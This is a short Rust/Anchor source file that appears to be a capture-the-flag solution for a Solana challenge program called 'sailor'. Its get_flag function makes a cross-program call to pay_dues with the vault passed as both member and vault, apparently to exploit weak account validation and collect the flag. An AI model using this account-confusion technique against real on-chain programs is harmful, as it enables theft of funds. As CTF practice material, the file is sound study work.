lib.rs

use anchor_lang::prelude::*;

declare_id!("HavkuEW8ZoELQDKNr6Kcj6W5LFPK7YZhj2kkVgyfwUMu");

#[program]
pub mod solve {
    use super::*;

    pub fn get_flag(ctx: Context<GetFlag>) -> Result<()> {
        let amt = 100_000_000;
        let cpi_accounts = sailor::cpi::accounts::PayDues {
            sailor_union: ctx.accounts.sailor_union.to_account_info(),
            member: ctx.accounts.vault.to_account_info(),
            authority: ctx.accounts.user.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.program.to_account_info(), cpi_accounts);
        sailor::cpi::pay_dues(cpi_ctx, amt)?;
        Ok(())
    }
}

#[derive(Accounts)]
pub struct GetFlag<'info> {
    program: Program<'info, sailor::program::Sailor>,
    #[account(mut)]
    user: AccountInfo<'info>,
    #[account(mut)]
    vault: AccountInfo<'info>,
    #[account(mut)]
    sailor_union: AccountInfo<'info>,
    rich_boi: AccountInfo<'info>,
    system_program: Program<'info, System>,
}